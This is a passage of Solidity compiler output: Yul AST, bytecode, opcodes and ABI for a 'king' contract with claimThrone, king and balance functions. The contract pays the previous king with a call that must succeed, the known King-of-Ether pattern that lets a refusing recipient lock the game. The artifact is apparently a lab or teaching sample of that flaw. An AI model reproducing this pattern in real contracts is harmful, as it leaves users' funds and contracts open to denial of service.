"nodeType": "YulIdentifier",
"src": "2046:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2046:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2020:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2020:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "2020:47:1"
},
{
"nodeType": "YulAssignment",
"src": "2076:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "2210:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "2084:124:1"
},
"nodeType": "YulFunctionCall",
"src": "2084:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "2076:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1954:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1969:4:1",
"type": ""
}
],
"src": "1803:419:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2341:34:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2351:18:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2366:3:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "2351:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2313:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2318:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "2329:11:1",
"type": ""
}
],
"src": "2228:147:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2487:8:1",
"statements": []
},
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "2479:6:1",
"type": ""
}
],
"src": "2381:114:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2664:235:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2674:90:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2757:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2762:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "2681:75:1"
},
"nodeType": "YulFunctionCall",
"src": "2681:83:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2674:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2862:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulIdentifier",
"src": "2773:88:1"
},
"nodeType": "YulFunctionCall",
"src": "2773:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "2773:93:1"
},
{
"nodeType": "YulAssignment",
"src": "2875:18:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2886:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2891:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2882:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2882:11:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2875:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2652:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2660:3:1",
"type": ""
}
],
"src": "2501:398:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3093:191:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3104:154:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3254:3:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "3111:141:1"
},
"nodeType": "YulFunctionCall",
"src": "3111:147:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3104:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "3268:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3275:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3268:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3080:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3089:3:1",
"type": ""
}
],
"src": "2905:379:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3396:64:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "3418:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3426:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3414:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3414:14:1"
},
{
"hexValue": "4661696c656420746f2073656e64204574686572",
"kind": "string",
"nodeType": "YulLiteral",
"src": "3430:22:1",
"type": "",
"value": "Failed to send Ether"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3407:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3407:46:1"
},
"nodeType": "YulExpressionStatement",
"src": "3407:46:1"
}
]
},
"name": "store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "3388:6:1",
"type": ""
}
],
"src": "3290:170:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3612:220:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3622:74:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3688:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3693:2:1",
"type": "",
"value": "20"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "3629:58:1"
},
"nodeType": "YulFunctionCall",
"src": "3629:67:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3622:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3794:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb",
"nodeType": "YulIdentifier",
"src": "3705:88:1"
},
"nodeType": "YulFunctionCall",
"src": "3705:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "3705:93:1"
},
{
"nodeType": "YulAssignment",
"src": "3807:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3818:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3823:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3814:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3814:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3807:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3600:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3608:3:1",
"type": ""
}
],
"src": "3466:366:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4009:248:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4019:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4031:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4042:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4027:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4027:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4019:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4066:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4077:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4062:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4062:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4085:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4091:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "4081:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4081:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4055:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4055:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "4055:47:1"
},
{
"nodeType": "YulAssignment",
"src": "4111:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4245:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "4119:124:1"
},
"nodeType": "YulFunctionCall",
"src": "4119:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4111:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "3989:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "4004:4:1",
"type": ""
}
],
"src": "3838:419:1"
}
]
},
"contents": "{\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function store_literal_in_memory_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f(memPtr) {\n\n mstore(add(memPtr, 0), \"Need to pay more to become the k\")\n\n mstore(add(memPtr, 32), \"ing\")\n\n }\n\n function abi_encode_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 35)\n store_literal_in_memory_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f(pos)\n end := add(pos, 64)\n }\n\n function abi_encode_tuple_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(memPtr) {\n\n }\n\n function abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, 0)\n store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(pos)\n end := add(pos, 0)\n }\n\n function abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos ) -> end {\n\n pos := abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack( pos)\n\n end := pos\n }\n\n function store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb(memPtr) {\n\n mstore(add(memPtr, 0), \"Failed to send Ether\")\n\n }\n\n function abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 20)\n store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100345760003560e01c806369deb7b714610039578063b69ef8a814610043578063cc181ca81461006e575b600080fd5b610041610099565b005b34801561004f57600080fd5b506100586101f6565b6040516100659190610239565b60405180910390f35b34801561007a57600080fd5b506100836101fc565b6040516100909190610295565b60405180910390f35b60015434116100dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100d490610333565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660015460405161012690610384565b60006040518083038185875af1925050503d8060008114610163576040519150601f19603f3d011682016040523d82523d6000602084013e610168565b606091505b50509050806101ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101a3906103e5565b60405180910390fd5b34600181905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b61023381610220565b82525050565b600060208201905061024e600083018461022a565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061027f82610254565b9050919050565b61028f81610274565b82525050565b60006020820190506102aa6000830184610286565b92915050565b600082825260208201905092915050565b7f4e65656420746f20706179206d6f726520746f206265636f6d6520746865206b60008201527f696e670000000000000000000000000000000000000000000000000000000000602082015250565b600061031d6023836102b0565b9150610328826102c1565b604082019050919050565b6000602082019050818103600083015261034c81610310565b9050919050565b600081905092915050565b50565b600061036e600083610353565b91506103798261035e565b600082019050919050565b600061038f82610361565b9150819050919050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b60006103cf6014836102b0565b91506103da82610399565b602082019050919050565b600060208201905081810360008301526103fe816103c2565b905091905056fea26469706673582212207a276dafb8e82de2d957ccf6f16b5aa60d55f60c31958b19a6eeaefc2dfc5b2c64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x34 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x69DEB7B7 EQ PUSH2 0x39 JUMPI DUP1 PUSH4 0xB69EF8A8 EQ PUSH2 0x43 JUMPI DUP1 PUSH4 0xCC181CA8 EQ PUSH2 0x6E JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x41 PUSH2 0x99 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x4F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x58 PUSH2 0x1F6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x65 SWAP2 SWAP1 PUSH2 0x239 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x83 PUSH2 0x1FC JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x90 SWAP2 SWAP1 PUSH2 0x295 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x1 SLOAD CALLVALUE GT PUSH2 0xDD JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xD4 SWAP1 PUSH2 0x333 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x1 SLOAD PUSH1 0x40 MLOAD PUSH2 0x126 SWAP1 PUSH2 0x384 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x163 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x168 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x1AC JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1A3 SWAP1 PUSH2 0x3E5 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST CALLVALUE PUSH1 0x1 DUP2 SWAP1 SSTORE POP CALLER PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x233 DUP2 PUSH2 0x220 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x24E PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x22A JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x27F DUP3 PUSH2 0x254 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x28F DUP2 PUSH2 0x274 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2AA PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x286 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E65656420746F20706179206D6F726520746F206265636F6D6520746865206B PUSH1 0x0 DUP3 ADD MSTORE PUSH32 0x696E670000000000000000000000000000000000000000000000000000000000 PUSH1 0x20 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x31D PUSH1 0x23 DUP4 PUSH2 0x2B0 JUMP JUMPDEST SWAP2 POP PUSH2 0x328 DUP3 PUSH2 0x2C1 JUMP JUMPDEST PUSH1 0x40 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x34C DUP2 PUSH2 0x310 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x36E PUSH1 0x0 DUP4 PUSH2 0x353 JUMP JUMPDEST SWAP2 POP PUSH2 0x379 DUP3 PUSH2 0x35E JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x38F DUP3 PUSH2 0x361 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3CF PUSH1 0x14 DUP4 PUSH2 0x2B0 JUMP JUMPDEST SWAP2 POP PUSH2 0x3DA DUP3 PUSH2 0x399 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x3FE DUP2 PUSH2 0x3C2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH27 0x276DAFB8E82DE2D957CCF6F16B5AA60D55F60C31958B19A6EEAEFC 0x2D 0xFC JUMPDEST 0x2C PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "58:364:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;136:284;;;:::i;:::-;;110:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;136:284;206:7;;194:9;:19;186:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;265:9;280:4;;;;;;;;;;;:9;;297:7;;280:29;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;264:45;;;327:4;319:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;377:9;367:7;:19;;;;403:10;396:4;;:17;;;;;;;;;;;;;;;;;;176:244;136:284::o;110:19::-;;;;:::o;85:::-;;;;;;;;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:126::-;479:7;519:42;512:5;508:54;497:65;;442:126;;;:::o;574:96::-;611:7;640:24;658:5;640:24;:::i;:::-;629:35;;574:96;;;:::o;676:118::-;763:24;781:5;763:24;:::i;:::-;758:3;751:37;676:118;;:::o;800:222::-;893:4;931:2;920:9;916:18;908:26;;944:71;1012:1;1001:9;997:17;988:6;944:71;:::i;:::-;800:222;;;;:::o;1028:169::-;1112:11;1146:6;1141:3;1134:19;1186:4;1181:3;1177:14;1162:29;;1028:169;;;;:::o;1203:222::-;1343:34;1339:1;1331:6;1327:14;1320:58;1412:5;1407:2;1399:6;1395:15;1388:30;1203:222;:::o;1431:366::-;1573:3;1594:67;1658:2;1653:3;1594:67;:::i;:::-;1587:74;;1670:93;1759:3;1670:93;:::i;:::-;1788:2;1783:3;1779:12;1772:19;;1431:366;;;:::o;1803:419::-;1969:4;2007:2;1996:9;1992:18;1984:26;;2056:9;2050:4;2046:20;2042:1;2031:9;2027:17;2020:47;2084:131;2210:4;2084:131;:::i;:::-;2076:139;;1803:419;;;:::o;2228:147::-;2329:11;2366:3;2351:18;;2228:147;;;;:::o;2381:114::-;;:::o;2501:398::-;2660:3;2681:83;2762:1;2757:3;2681:83;:::i;:::-;2674:90;;2773:93;2862:3;2773:93;:::i;:::-;2891:1;2886:3;2882:11;2875:18;;2501:398;;;:::o;2905:379::-;3089:3;3111:147;3254:3;3111:147;:::i;:::-;3104:154;;3275:3;3268:10;;2905:379;;;:::o;3290:170::-;3430:22;3426:1;3418:6;3414:14;3407:46;3290:170;:::o;3466:366::-;3608:3;3629:67;3693:2;3688:3;3629:67;:::i;:::-;3622:74;;3705:93;3794:3;3705:93;:::i;:::-;3823:2;3818:3;3814:12;3807:19;;3466:366;;;:::o;3838:419::-;4004:4;4042:2;4031:9;4027:18;4019:26;;4091:9;4085:4;4081:20;4077:1;4066:9;4062:17;4055:47;4119:131;4245:4;4119:131;:::i;:::-;4111:139;;3838:419;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "216600",
"executionCost": "257",
"totalCost": "216857"
},
"external": {
"balance()": "2429",
"claimThrone()": "infinite",
"king()": "2533"
}
},
"methodIdentifiers": {
"balance()": "b69ef8a8",
"claimThrone()": "69deb7b7",
"king()": "cc181ca8"
}
},
"abi": [
{
"inputs": [],
"name": "balance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "claimThrone",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "king",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
